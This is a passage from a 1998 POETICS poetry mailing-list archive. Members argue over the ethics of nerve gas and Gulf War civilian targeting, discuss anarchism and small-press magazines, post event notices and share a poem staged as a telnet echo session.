>> >any further analysis as to historical outcome. They were not really
>> >defectors, but instead "prisoners of war", of a peculiar kind. Their minds
>> >twisted beyond any semblance of sanity by a constant barrage of radio
>> >frequencied Hanoi propaganda.
>> >The psychological warfare side of Nam has yet to be written, and much of
>> >what was endured is still presumably too classified to become historical
>> data.
>> >
>> >The usual strategy is to attempt, often at high cost in assets, to
liberate
>> >prisoners of war. If that fails, then the second strategy is to attempt to
>> >minimize damage, in terms of preventing increased human suffering being
>> >brought upon a larger number. In effect, actions meant to minimize, or at
>> >least decrease immediate and long term damages to one's own assets.
>> >Consideration is usually given, if possible, to the sufferings being
endured
>> >by the prisoners. Presumably the defectors in question were not being
>> >tortured into defecting, but I do not know if we have that side of that
>> >story right either. Some prisoners defected as the result of brainwashing
>> >and torture. Some were technical specialists that the Soviets badly
wanted
>> >to break, in order to gain larger advantage than that which could be
>> >attained solely within the limited geographic space of Vietnam. So it is
>> >very very complicated. The news media typically oversimply, while other
>> >sources attempt to obfuscate the brutal and horrific truths as to the
nature
>> >of human military conflict in any overt confrontation.
>> >
>> >M.
>> >
>> >

>
>--
>V I S P O ~ L A N G U (I M) A G E
>http://www.islandnet.com/~jandrews/mocambo/jimvispo.htm
>
>

↑ Index

271. Trace Ruggles
Re: Yogapoetics
Wed 10 Jun 1998

And also Tai Chi, or any practice that affects the subtler bodies and how that work has/hasn't affected your poetry practice...

On Sat, 6 Jun 1998, Barbara Henning wrote:

> *Yogapoetics: I'm interested in hearing from poets with a regular yoga practice.*

↑ Index

272. Michael Franco
FIRST ANNUAL BOSTON ALTERNATIVE POETRY CONFERENCE
Wed 10 Jun 1998

BOSTON / CAMBRIDGE JULY 17-19 1998
BLACKSMITH HOUSE HARVARD SQ. CAMBRIDGE

PARTICIPANTS

BERNSTEIN, MESSERLI, TAGGART, MATLIN, TORRA, MLINKO, LANSING, FRANCO, F. HOWE, R. WALDROP, BOUCHARD, WARSH, JARNOT, BANSINSKI, GANICK, W. ALEXANDER & A HOST OF OTHERS

Readings Fri. Sat Sun & panels as well : Vocabularies and imaginations; Biography & Criticism; Publishing; Concrete/Visual... Poetry & Poetics

information:

Aaron Kiely
PO box 441517
Somerville Ma 02144
or Email [redacted]

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273. KENT JOHNSON
Re: Nerve gas
Wed 10 Jun 1998

On 10 June, I offered this effusive praise for Morpheal's eloquent defense of nerve gas as a sometimes acceptable weapon against non-chivalrous enemies who try to brainwash young American soldiers with nonsense about "imperialist wars of aggression" and whatnot:

> *Finally, a Scientific American reader with some nuts and bolts political and ethical sense! I say that when the U.S. goes back to the Persian Gulf or Central America or maybe Indonesia to save the natives from themselves it should keep Morpheal's simple formula in mind: Use whatever it takes on hold-out villages if it will arguably result in fewer losses to our forces and shorten unfriendly resistance to the military action in progress. And come to think of it, if I can add my two cents to Morpheal's sound and simple line of argument, keep the anthrax handy too.*

Morpheal, to my chagrin, responded:

> *I cannot agree with you. Also, that is misleadingly simple minded.*
>
> *... Anthrax is a deplorably horrendous means of mass destruction.*

OK, OK, so the plug for the bio stuff was unfeeling of me. So just nukes to back up the sarin, OK? I mean you always hope those won't be necessary, but if you're weighing the lives of the many against the lives of the few, you gotta do what you gotta do.

↑ Index

274. daniel bouchard
What it all has to do with poetry
Wed 10 Jun 1998

For those with tight schedules and short patience, this post is broken into three parts 1) a thinking-out-loud-reply on Morpheal's (Bob E.) comments, 2) an example that counters his assertions, or the potential application of such, and 3) a brief meditation on Brent Long's question "What does ANY of this have to do with Poetics, pray tell???"

Prithee listen, and pray I do not exceed my five-per-day chances to speak.

I.
The defense by Morpheal of his defending remarks summed up:

1) the issue at hand is the "responsibility of command" 2) civilian casualties and damage to infra-structures are a) "victims" b) "tragic" c) "inevitable" (&

"unavoidable") and d) "regrettable" 3) "Anthrax is a deplorably horrendous means of mass destruction"

[does this imply that there are more acceptable "means"?]

4) a chemical arms race is a logical step towards Peace
5) superior lethal technology (& its proliferation), successive developments of the same, and good old fashioned GI Joes will always come in handy because
    a) no one is trustworthy
    b) space aliens may have a hungry eye on us

II.

OK, for an example that Morpheal's faith in the integrity and values of the Pentagon is a little over-optimistic (to put it politely), let's think about what the United States orchestrated seven years ago against Iraq (with "the responsibility of command" in mind, and the unavoidable "tragedy" of civilian victims). This is taken from the Web Page of the International War Crimes Tribunal United States War Crimes Against Iraq (http://deoxy.org/wc/warcrim2.htm):

A partial list of Iraqi targets: "electric power generation, relay and transmission; water treatment, pumping and distribution systems and reservoirs; telephone and radio exchanges, relay stations, towers and transmission facilities; food processing, storage and distribution facilities and markets, infant milk formula and beverage plants, animal vaccination facilities and irrigation sites; railroad transportation facilities, bus depots, bridges, highway overpasses, highways, highway repair stations, trains, buses and other public transportation vehicles, commercial and private vehicles; oil wells and pumps, pipelines, refineries, oil storage tanks, gasoline filling stations and fuel delivery tank cars and trucks, and kerosene storage tanks; sewage treatment and disposal systems; factories engaged in civilian production, e.g., textile and automobile assembly; and historical markers and ancient sites."

"As a direct, intentional and foreseeable result of this destruction, tens of thousands of people have died from dehydration, dysentery and diseases caused by impure water, inability to obtain effective medical assistance and debilitation from hunger, shock, cold and stress. More will die until potable water, sanitary living conditions, adequate food supplies and other necessities are provided. There is a high risk of epidemics of cholera, typhoid, hepatitis and other diseases as well as starvation and malnutrition through the summer of 1991 and until food supplies are adequate and essential services are restored."

Does bringing this into the argument make an effective counterpoint? I'm loath to rebut Morpheal's assertions directly (because of the faults inherent in e-mail, mostly).

III.

"What does ANY of this have to do with Poetics, pray tell???" (Brent Long)

For the people whose lives, ethics, values, etc. are inextricably wed to poetry, Everything.

-- daniel bouchard

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<

↑ Index

275. William Marsh
Re: Anarchy
Wed 10 Jun 1998

---

an aside:

Joel mentioned parenthetically that the Edison film of the Czolgosz execution can be viewed at the American Memory pages of the LOC site / amazing footage if you have the patience for the download (about 30 meg i believe)

search on "Czolgosz" (correct spelling)

McKinley's funeral also available

best,
bill

- -
William Marsh | PaperBrainPress
http://bmarsh.dtai.com
- -

↑ Index

276. daniel bouchard
Re: Anarchy
Wed 10 Jun 1998

> *McKinley's funeral also available*

I hear there is a short film version of Paul Blackburn's short poem of McKinley's funeral. It's at www.hotflicks.com

<<<<<<>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

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277. Chicago Review
address inquiry
Wed 10 Jun 1998

Could someone backchannel me with an address (e-mail or otherwise) for Myung Mi Kim?

Thanks alot.
Devin Johnston

Chicago Review
5801 S. Kenwood Ave.
Chicago IL 60637-1794
ph/fax [redacted]
e-mail [redacted]

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278. **R. Gancie**

Is the appeal of feedback its inherent 'progressivism' and implied willingness to recognize the errors of its ways?

Wed 10 Jun 1998

"An inner connection obtains between the Ars Combinatoria--the first philosophical masterpiece of the young Leibnitz--and his political memoranda written during his stays at Mainz and Hanover; among them is the Memorandum on the Election of the Polish King, in which Poland's place in the European Constellation of Powers was worked out in quasi-mathematical fashion. Not only philosophy and theology, but also politics was treated more geometrico. EVERYTHING THAT COULD NOT BE EXPRESSED WITH MATHEMATICAL CERTITUDE WAS CONSIDERED TO BE OUTMODED; and this applied especially to the idea and reality of the German Empire. The rational and political constitution of the absolutist state, on the other hand, the constitution of France, was seen to be in harmony with the spirit of the age. Since 1660 political calculations had become fashionable; thus in 1690 there was published in London a book by the economist Sir William Petty, entitled Political Arithmetic. The method of these political enquiries, which had become popular in England with the Restoration, was inspired not by religion or morals, but (as might be expected in this age of the great French and English scientists) by mathematics and physics."---from Leibnitz and the Seventeenth-Century Revolution by R.W. Meyer---cp

↑ Index

279. **sylvester pollet**

Re: DRUNKEN BOAT

Wed 10 Jun 1998

Thanks, Chris, but this is a different one, NYC/Brooklyn based. #1 has an interview with Allen Ginsberg entitled "Anarchism and Revolution in Amerikkka," questions (& probably title) by Max Blechman. It touches on some of Manuel Brito's questions, which is one reason I thought of it. Also, #2 had a good article on Holly Cantine, Dachine Rainer & Retort Press, which Joel Kuszai mentioned earlier in his message quota. S.

At 11:50 AM -0400 6/10/98, louis stroffolino wrote:
> Well, as far as I know, the DRUNKEN BOAT was a Phila. magazine
> (Philly magazine) of the early mid 90s, and i don't know if it
> still exists. It might. I think Linh Dinh edited it?????
> Of course, there might be two, and Todd Colby's band....
> c
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>On Wed, 10 Jun 1998, sylvester pollet wrote:

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>> Blechman, "The Anarchist Magazine of Literature and the Visual Arts"
>> published more than two issues, or intends to? The first two were/are
>> wonderful. Blechman's Intro to #1 begins:
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>> journals of literature and the arts. They're post a lot of things but
>> they're not post-boring." and ends:
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>> "Forget Foucault, NEVER MIND Baudrillard, FUCK DERRIDA. This is
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>> DRUNKEN BOAT."
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>> Last address I had was PO Box 718, NYC 10009, NY. I should have sent
>> money. Maybe it's not too late--anybody know? (I would have been an
>> Anarchist, but I heard you had to join.) sylvester
>>

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280. Aldon Nielsen
arse farce
Wed 10 Jun 1998

I think that was supposed to read "hostility is the sincerest form of affectation."

I had a few comments to make about this, but rather than burden the list with them I would refer you to my 5,000 page dissertation "EPIGRAPHS FOR EPIGONES."

haven't seen the Beatty movie yet, but that Baraka line sure sounds like Ayler to me!

or, to quote from Baraka's "The Sayings of Mantan Moreland:"

"I am mentioned in the credits, but the ghost got the dough."

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281. Christopher W. Alexander
Re: What it all has to do with poetry
Wed 10 Jun 1998

Daniel - thx for posting the International War Crimes Tribunal URL; I hadn't realized (but shld have known) that stuff was up on the www.

As to the partial logic of war previously outlined (responsibilities of command, etc.): yup, that's it, at least on the theoretical- strategic level, viz. "to complete the mission with as few civilian casualties as possible, while keeping the losses among one's own and friendly forces minimized." bingo.

however, a quick review of the Tribunal report makes it pretty clear how much of the Gulf War, for instance, was theoretically feasible and how much is better explained by greed, hatred, and co. at the local and underlying levels, not to mention various moneyed/political factors such as the promotion of the Bush presidency, the desire to impress upon the public a continued need for fat pentagon spending, perpetuation of the military-industrial complex, and so forth.

one gets the feeling that 'national security' and "mine is but to do or die" aren't really adequate to the task of explaining why we might need to kill thousands of civilians by deliberately targeting, for instance, water treatment plants and factories that produce infant formula. Nor can the expenditure of weapons and supplies AFTER Iraq's compliance with the UN order to withdraw from Kuwait be explained by a strategy of limited, task-oriented engagement - .

"For example, on March 2, 1991, [after U.S. 24th Division Forces engaged in a four-hour assault against Iraqis just west of Basra. More than 750 vehicles were destroyed, thousands were killed without U.S. casualties. A U.S. commander said, "We really waxed them." It was called a "Turkey Shoot." One Apache helicopter crew member yelled "Say hello to Allah" as he launched a laser-guided Hellfire missile."*

*Patrick J. Sloyan, "Massive Battle After Cease Fire," New York Newsday, May 8, 1991; qtd. at <http://www.deoxy.org/wc/warcrim2.htm>, no. 6

"What does any of this have to do with Poetics?"

this question comes up a lot here, mebbe less recently than in the past. Generally when discussion involves social-political issues, like now, I'm inclin/d to say "everything". I don't mean to be chiding - as I sd, lots of people have asked this over time - but we need to keep in mind the degree to which our art practice is NOT separate from History, i.e., the present, or from our political practice. That doesn't mean history is all we shld be talking about - I guess it means that's all we're EVER talking about, and this is the Poetics List only because (we hope) we talk about that portion of it, too, more often than not.

chris - or most current version thereof

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted] / [redacted] snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402 press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/ **site temporarily unavailable**

↑ Index

282. **Charles Alexander**

Re: Anarchy

Wed 10 Jun 1998

OK, in some sense I'm on the job of being a poet full time when I'm making book works. And when I'm washing dishes at home. And when I'm taking my children to guitar lessons. And when I'm picking up masonite at the lumberyard for my wife so she can include painting on masonite in her class at the Tucson Museum of Art. And when I'm thinking of cash because I don't have any. And when I'm thinking of insurance because my children sure do get sick often enough. But maybe not on the job as poet any moreso than someone else who does similar 'extra' things who is a carpenter is always on the job as carpenter; or someone else is always on the job as biologist, etc. etc. I don't really think poets are any more 'special' people than anybody else, although I do like the way a lot of them think . . . and write. What was the Olson line? " poet / get a joboosky!"

charles

At 07:08 AM 6/12/98 -0000, you wrote:
>teb berrigan was on the job full time
>as are most of us. We don't get paid for the hours
>we spend writing, or dreaming up ways into writing.
>And who thinks of cash when they're deep inside a poem?
>Did that insurance guy from Hartford look up
>from his angular handwriting and see dollar signs
>in the air?
>
>Anthony
>
>
>
>
>
>
>
>
>

>
>
>.....
>Anthony Lawrence
>PO Box 75
>Sandy Bay
>Tasmania 7006
>
>
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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283. Christopher W. Alexander
Re: [Re: Anarchy] Negri
Wed 10 Jun 1998

this is the most current info I can find... anybody have
anything more up to date?

update on Toni Negri as of 10 May, 1998:

"Toni Negri remains in Rebibbia prison in Rome and his personal situation has not changed significantly since he returned to Italy almost a year ago. He has requested to begin a procedure that leads toward parole but as yet his requests have not been granted...." continues from here; more info available at

<http://lists.village.virginia.edu/~forks/TNmain.htm>

chris

..

Christopher Alexander [redacted]
Marriott Library Instruction [redacted] (lv. msg.)
http://www.lib.utah.edu/instruction/mltech.html

↑ Index

284. Billy Little
Re: [Fwd: MEDIA FRENZY?] No doubt not that simple.
Wed 10 Jun 1998

they'd never let you near the wheelchair george they've got kennedy and the kitchen kabinet locked down tight in the compound and the attorney general

maintains deniability, be easier to off Louis Riel, you could peddle there on your bicycle from Calgary

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285. Christian Roess
Re: post from Daniel Bouchard
Wed 10 Jun 1998

Dear Daniel Bouchard,

Thanks for your well thought-out and lucid response to the posts from 'morpheal' et.al., in your three -part response.

I have been trying to come up with a response that wasn't smart-ass or sarcastic. Amen to the " What does it have to do with Poetics".

I believe (some what naively) that if more people would make the 'poetics' of (say) Robert Duncan, part of their "energy of devotion", particularly "The Truth and Life of Myth"(which takes YEARS to deal with in my opinion; we have not answered for the signature of R.D. yet) or apropos of this discussion " Man's Fulfillment in Order and Strife" we might have a chance at this.

Chris Roess

From "Ideas of the Meaning of Form"(Robert Duncan):

"...still let the war be done and the adultery rage on, for my soul is sick with fear and contention whenever I remember the claim of mind against mind and some ass praises me because a line rimes who would despise me if he knew the meanings, and I am aroused myself toward thoughts of vengeance and triumph"

from "Man's Fulfillment in Order and Strife":

"Here, thinking of our concern for World Order and for a language of that order, and of how our ideal of such an order is always betraying to every observer an other and an other order, so that those who would liberate us from the tyranny of unconscious intent but display the tyranny of conscious intent, I would call up that flash of divine insight that is embodied in the..."(R.D.)

"We are ourselves in our unhappy state as in our happiness new revelations of meaning that change the What that is at work in that event. This is the grievous impatience and the ecstatic patience we are fired by as we apprehend in all the disorders of our personal and social life the living desire and intent at work toward new orders."(R.D.)

_____ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

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286. Michael Kelleher
place(less Place)
Wed 10 Jun 1998

Small Press Collective

reminder to all those in the Buffalo area June 19-21

place(less Place)

a gathering of poets

will take place

at

Cornershop
corner of Lafayette and Dewitt

Friday, June 19:
8pm: forum on poetics, place and placelessness

Saturday, June 20:
7:30-8:30 book exchange
9pm - Readings by all participants

partial list of readers & participants

Ben Friedlander
Karen Mac Cormack
Scott Pound
Taylor Brady
Christian Bok
Darren Werschler-Henry
Dan Machlin
Eleni Stecopoulos
Graham Foust
Mike Kelleher
and many others

if you can and want to come, please let us know and we'll add your name to the list.

Truly,

the SPC

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287. **R.Gancie/C.Parcelli**
Re: What it all has to do with poetry
Wed 10 Jun 1998

---

daniel bouchard wrote:
>
> For those with tight schedules and short patience, this post is broken into
> three parts 1) a thinking-out-loud-reply on Morpheal's (Bob E.) comments, 2)
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> such, and 3) a brief meditation on Brent Long's question "What does ANY of
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> Prithee listen, and pray I do not exceed my five-per-day chances to speak.
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> I.
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> 1) the issue at hand is the "responsibility of command"
> 2) civilian casualties and damage to infra-structures are a) "victims" b)
> "tragic" c) "inevitable" (& "unavoidable") and d) "regrettable"
> 3) "Anthrax is a deplorably horrendous means of mass destruction"
>
> [does this imply that there are more acceptable "means"?]
>
> 4) a chemical arms race is a logical step towards Peace
> 5) superior lethal technology (& its proliferation), successive developments
> of the same, and good old fashioned GI Joes will always come in handy be-
cause
> a) no one is trustworthy
> b) space aliens may have a hungry eye on us
>
> II.
>
> OK, for an example that Morpheal's faith in the integrity and values of the
> Pentagon is a little over-optimistic (to put it politely), let's think about
> what the United States orchestrated seven years ago against Iraq (with "the
> responsibility of command" in mind, and the unavoidable "tragedy" of
> civilian victims). This is taken from the Web Page of the International War
> Crimes Tribunal United States War Crimes Against Iraq
> (http://deoxy.org/wc/warcrim2.htm):
>
> A partial list of Iraqi targets:

> "electric power generation, relay and transmission; water treatment, pump-
ing
> and distribution systems and reservoirs; telephone and radio exchanges,
> relay stations, towers and transmission facilities; food processing, storage
> and distribution facilities and markets, infant milk formula and beverage
> plants, animal vaccination facilities and irrigation sites; railroad
> transportation facilities, bus depots, bridges, highway overpasses,
> highways, highway repair stations, trains, buses and other public
> transportation vehicles, commercial and private vehicles; oil wells and
> pumps, pipelines, refineries, oil storage tanks, gasoline filling stations
> and fuel delivery tank cars and trucks, and kerosene storage tanks; sewage
> treatment and disposal systems; factories engaged in civilian production,
> e.g., textile and automobile assembly; and historical markers and ancient
> sites."
>
> "As a direct, intentional and foreseeable result of this destruction, tens
> of thousands of people have died from dehydration, dysentery and diseases
> caused by impure water, inability to obtain effective medical assistance and
> debilitation from hunger, shock, cold and stress. More will die until
> potable water, sanitary living conditions, adequate food supplies and other
> necessities are provided. There is a high risk of epidemics of cholera,
> typhoid, hepatitis and other diseases as well as starvation and malnutrition
> through the summer of 1991 and until food supplies are adequate and
> essential services are restored."
>
> Does bringing this into the argument make an effective counterpoint? I'm
> loath to rebut Morpheal's assertions directly (because of the faults
> inherent in e-mail, mostly).
>
> III.
>
> "What does ANY of this have to do with Poetics, pray tell???" (Brent Long)
>
> For the people whose lives, ethics, values, etc. are inextricably wed to
> poetry, Everything.
>
> -- daniel bouchard
>
> <<<<<<>>>>>>>>>>>>>>>>>>
> Daniel Bouchard
> The MIT Press Journals
> Five Cambridge Center

> Cambridge, MA 02142
>
> [redacted]
> phone: [redacted]
> fax: [redacted]
> >>>>>>><<<<<<<<<<<<<<<<
And one might consider Sassoon, Rosenberg, Service et al and Ypres.---cp
Thanks for the solid posts.

↑ Index

288. **morpheal**
Re: [Fwd: MEDIA FRENZY?] No doubt not that simple.
Wed 10 Jun 1998

> *Now you're talking! That would justify killing John Kennedy and his cabinet, right?*

IMHO, the Soviets did exactly that.
Using Oswald as the Soviet programmed, lone assasin.

Of course the Soviets did not like American threats against their permanent harbour for floating and submersible nuclear missile bases either. That really upset them enough to want to be rid of Kennedy.

Then the efforts to defer the potential public demand for outright hostilities as to reprisals that could result in all out war and perhaps M.A.D. at a time when Soviet and U.S. war machines were too evenly matched.

It is a strange world we live in.....

M.

↑ Index

289. **Safdie Joseph**
Re: Marx and Myth
Wed 10 Jun 1998

Wanted to try and raise the issue of mythology again, this time through a really interesting quote by Marx:

"Where does Vulcan come in as against Roberts & Co.; Jupiter, as against the lightning rod; and Hermes as against the Credit Molitor? . . . Is Achilles possible side by side with powder and lead? Or is the Iliad at all compatible with the printing press and steam press? Do not singing and reciting and the muses necessarily go out of existence with the appearance of the printer's bar, and do not, therefore, the prerequisites of epic poetry disappear?" Nevertheless, Marx went

on to say that "the real difficulty is not in grasping the idea that Greek art and epos are bound up with certain forms of social development. It rather lies in understanding why they still constitute a source of enjoyment with us, and in certain aspects prevail as a standard and model beyond attainment."

So why IS that? (This from "A Contribution to the Critique of Political Economy", N.Y., 1904 - (and also from an essay by one Joseph Mali, writing of Walter Benjamin's use of myth, which he got from Vico! - quite fascinating, even brilliant in parts, and I'd be glad to supply the citation if anyone's interested . . .)

And now, back to "The Massacre of the Innocent Jazz" - a little-known Florentine work . . .

↑ Index

290. KENT JOHNSON
Re: What it all has to do with poetry
Wed 10 Jun 1998

On 10 June, Chris Alexander wrote, paraphrasing the "principle" that guides military command decisions:

> "*to complete the mission with as few civilian casualties as possible, while keeping the losses among one's own and friendly forces minimized.*"

And an intensely-orchestrated version of the above, of course, was put forth as official justification for the bombings of Hiroshima and Nagasaki. It is a catchall hypothetical scenario and can be easily construed to justify just about any war crime or to "ethically" circumvent any international treaty designed to restrain the world from spiralling into generalized barbarism. All one has to do is play the numbers speculation game (as Morpheal does, in theoretical defense of the "tactical" use of nerve gas on civilian areas) and argue that such and such an atomic, chemical, or biological act, however regrettable the "collateral damage," may have been necessary to prevent "even more death." In the grip of such Strangelovian logic, the gassing of civilians comes to be described (as in one of Morpheal's posts) as either the most "viable" choice available to commanders or an unfortunate "mistake."

Maybe I'm just a hopeless essentialist, but my own feeling is that when one falls into this logic, one leaves one's humanity behind. And thus leaves behind anything we could call poetry. I think that's some of what Ginsberg felt and meant when he said "Go fuck yourself with your [nerve gas] bomb."

Kent

↑ Index

291. **Rachel Loden**
WHOOPS
Wed 10 Jun 1998

> *Hey, she's been hanking with me*

Well I guess so, if hanking can be defined as an occasional exchange of choleric outbursts. But everyone knows that the most poignant POETICS love story is the one between B & B (not that there's anything wrong with that). Watch your screen in the wee small hours of the morning when these two often achieve intense lyric heights.

Rachel L.

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292. **morpheal**
Re: What it all has to do with poetry
Wed 10 Jun 1998

> *"As a direct, intentional and foreseeable result of this destruction, tens of thousands of people have died from dehydration, dysentery and diseases caused by impure water, inability to obtain effective medical assistance and debilitation from hunger, shock, cold and stress. More will die until potable water, sanitary living conditions, adequate food supplies and other necessities are provided. There is a high risk of epidemics of cholera, typhoid, hepatitis and other diseases as well as starvation and malnutrition through the summer of 1991 and until food supplies are adequate and essential services are restored."*
>
> *Does bringing this into the argument make an effective counterpoint? I'm loath to rebut Morpheal's assertions directly (because of the faults inherent in e-mail, mostly).*
>
> *III.*
>
> *"What does ANY of this have to do with Poetics, pray tell???" (Brent Long)*
>
> *For the people whose lives, ethics, values, etc. are inextricably wed to poetry, Everything.*

This is very odd.

My opinion, at the time of the Gulf War was that Iraq should be made a United Nations protectorate. That way, not only would any subsequent buildup and problems as to control over remaining weaponry be eliminated, but the population of Iraq would have been assured:

1). deprogramming from the brain washing they had endured
(not unlike denazification in post WWII Germany, but not as extreme)

2). adequate care for the wounded and the civilian population
3). protection, if necessary, from any other country taking advantage of a defeated neighbour (most likely Iran)
4). the end of a then Soviet region of influence
5). genuinely democratic elections when the infra-structure was restabilized

It could be done after WWII, and facilitated the rebuilding of a secure Germany with a viable economy and a truly democratic government. So why not in Iraq ? I could see no reason for not doing it. Nevertheless, those who made the decisions decided against going that far. Presumably because of the threat of further violating potential Soviet interests and perhaps risk to allied assets if the Iraqi capital was to be secured, as I believe it ought to have been secured.

As you recall Iraq threatened Israel first, then attacked Kuwait. The threat against Israeli civilian targets was quite extreme. Threats against the Kuwaiti population were horrific, as we know from events. Of course, I do not believe that coming to the defence of friends and allies in any way justifies punishing the civilian population of the aggressor nation. To the contrary, I have always maintained, and published several times on the net in prominent places, the argument that Iraq ought to be immediately allowed to trade as much oil as necessary for medicines and foodstuffs. That recommendation was completely ignored, by those who presumably had other aggendas.

Anyway, you are very misleading as to my own opinions in that matter.

In any situation, even if we respect those in command in any specific instance, we still have the right to our own divergence of opinion. That does not mean that we have any possibility to act upon that opinion. The actions are decided by those who have the ultimate power to decide them. However, sometimes our opinions do have some influence on the outcomes. Unfortunately my opinions as to the future of Iraq did not have the positive influence I hoped they would have, and the future there remains very dark, for different reasons.

M.

aka Bob Ezergailis

↑ Index

293. **morpheal**
Re: What it all has to do with poetry
Wed 10 Jun 1998

> *to prevent "even more death." In the grip of such Strangelovian logic, the gassing of civilians comes to be described (as in one of Morpheal's posts) as either the most "viable" choice available to commanders or an unfortunate "mistake."*

I certainly did not say that.

I have never condoned the use of weapons of mass destruction on civilian targets. Never, at any time, in any situation. That includes biological and chemical weapons, as well as nuclear.

In fact I attempted to influence, and might have had some small success in the provision of European and American assistance to the former Soviet republics as to the safe destruction of weapons of mass destruction. There is now a very effective program in place providing technical assistance.

The entire purpose of bringing the Cold War to a close was to reduce the number of such weapons, including dismantle nuclear bombs. Some of the bombs and chemicals were becoming somewhat unstable, as well as there being such horrendous amounts of them. Still a long way to go, but it is a slow, meticulous process.

Anyway,....that is where I have always stood, on the frontier of argument for the effective control and destruction of biological, chemical, and nuclear weapons of mass destruction. How we achieve that goal, is another question. Some of the major proponents in the past were simply too naive to have any real effect on it.

M.

aka Bob Ezergailis

↑ Index

294. **toddbaron**
Re: gerald burns
Wed 10 Jun 1998

---

could someone send--if they have it of course--an address for Gerald Burns?

Todd Baron
REMAP

↑ Index

295. **Simon/Piombino**
Mac Low on Anarchy
Wed 10 Jun 1998

Manuel,

There is a discussion of Mac Low's thoughts on anarchy in "The Pronouns" (Station Hill,1979), p.74: "Since 1954 I have made many pieces--simultaneities for voices &/or instruments,poems, plays,musical works--which call for the active creative collaboration of performers &/or audience. My reasons for liking this

type of compostion have not changed much since I wrote the statement quoted in "A Controversy of Poets" (p.540--see bibliography): "An 'anarchist' does not believe, as some wrongly have put it, in social chaos.He or she believes in a state of society wherein there is no frozen power structure, where all persons may make significant initiatory choices in regard to matter affecting their own lives. In such a society coercion is at a minimum & lethal violence practically nonexistent. Certainly there will still be situations where coercion may have to be exercised to prevent something worse, but as Ammon Hennacy demontrated in his life, even maniacs with knives may sometimes be pacified without violent coercion....How better to embody such ideas in microcosm than to create works wherein both other human beings, their environments, & the world 'in general' (as represented by such objectively hazardous means as random digits) are all able to act within the general framework & set of 'rules' given by the poet...The poet creates a situation wherein she or he invites other persons & the world in general to be co-creators.The poet does not wish to be a dictator but a loyal co-initiator of action within the free society of equals which it is hoped the work will help to bring about..."

By the way, I quote part of this section in my article "The Aural Ellipsis and the Nature of Listening in Contemporary Poetry" in the recently published "Close Listening: Poetry and the Performed Word" edited by Charles Bernstein (Oxford University Press) in a discussion Mac Low's performances.

Nick Piombino

↑ Index

296. **Charles E. Weigl**

Re: Anarchy/drunken boat

Thu 11 Jun 1998

---

i believe drunken boat put out more than 2 issues. they also recently (past few years) published a "best of" anthology, i believe.

best place to get info on this and on the anarcho-tip is:

Left Bank Distribution
http://www.leftbankbooks.com

they're the largest north american distributor of anarchist and anti-authoritarian lit (or at least that what we said when i was a collective-member back in the day) and they have a huge catalog at
http://www.leftbankbooks.com/catalog.html. i'm sure i saw drunken boat stuff on there in the recent past.

while i'm thinking of it, left bank also runs a great books-to-prisoners project that provides free books to incarcerated men and women. when i was working

on it, we always had more requests than we could fill. i doubt it's changed much. check out their home page for info if you're inclined to dump some (tax-deductible) books and/or cash on them.

charles

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297. A. Nikuko Sondheim

Auto-Echo Poem of Jennifer and Nikuko

Thu 11 Jun 1998

-

Auto-Echo Poem of Jennifer and Nikuko

Script started on Thu Jun 11 01:49:57 1998
warning: could not update utmp entry
$ telnet panix.com 7
Trying 166.84.1.66...
Connected to panix.com.
Escape character is '^]'.
oh jennifer i see you mirrored in my loving face
oh jennifer i see you mirrored in my loving face
oh nikuko it is as beautiful as an echo protocol repeating every time
oh nikuko it is as beautiful as an echo protocol repeating every time
oh jennifer i hunger for your imaginary tell-me-where
oh jennifer i hunger for your imaginary tell-me-where
oh nikuko every echo poem carries an uncanny aura of truth and murmur
oh nikuko every echo poem carries an uncanny aura of truth and murmur
oh jennifer you are my hunger i am your hunger thirst-for-truth
oh jennifer you are my hunger i am your hunger-thirst-for-truth
oh nikuko i am your hunger you are my murmur-thirst-for-sound
oh nikuko i am your hunger you are my murmur-thirst-for-sound
oh jennifer and nikuko oh nikuko and jennifer
oh jennifer and nikuko oh nikuko and jennifer
this echo protocol reverberates our words of beauty-love
this echo protocol reverberates our words of beauty-love
^]
telnet> close
Connection closed.
$ exit

script done on Thu Jun 11 01:53:03 1998

↑ Index

298. George Bowering
Re: Radio Bowering
Thu 11 Jun 1998

A lot of people might think that was a mash note from Brom, but it was really some noodlin' around a poem I wrote decades ago and which all smart people with Canadian experience know of, though it is about music coming from a Salt lake radio station and mentioning Ornette, I think. He having played here in Vancouver, age 20.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

299. Jim Andrews
Re: POETICS Digest - 9 Jun 1998 to 10 Jun 1998
Thu 11 Jun 1998

> *Civilian casualties and collateral damage to infra-structures that are not of significant strategic importance is nothing to write home about.*

Civilian casualities. Collateral damage? Nothing to write home about?

> *brainwashing*
>
> *Anthrax is a deplorably horrendous means of mass destruction.*

Is there any other kind?

> *The other approach, rather than the development of weapons of mass destruction, is the development of effective non-lethal weaponry. It is that area of endeavour that shows the most promise in reducing collateral damage and both opponent civilian and military casualties. Whether that avenue of research can effectively put an end to war, is an interesting question. It might be that the power that evolves that technology far enough so that it is wholly effective, can in effect put an end to war as we have known it in the past.*

What would the results be? Put them all to sleep so that they can be hand-cuffed? Perpetual laughing gas? 'Democracy' in a canister?

> *That does not mean standing down all more conventional forces and weapons, as we never know what new threats might be suddenly poised to strike, either from known or wholly unknown sources of aggression.*

Wholly unknown sources of high-tech military agression that require the force of the United States military? Aliens?

> *Certainly, I do not believe, that the human race can relax its guard, even if the conflicts upon this planet could be resolved peacefully, and if non lethal means of controlling and eliminating the outbreaks of violent conflict could eventually become the normative. While the latter is not only possible, but likely, there is no reason to believe that we dwell in an essentially friendly space. New frontiers will inevitably mean new species competition, and conflict.*

What is inside your brain wanting to be hatched?

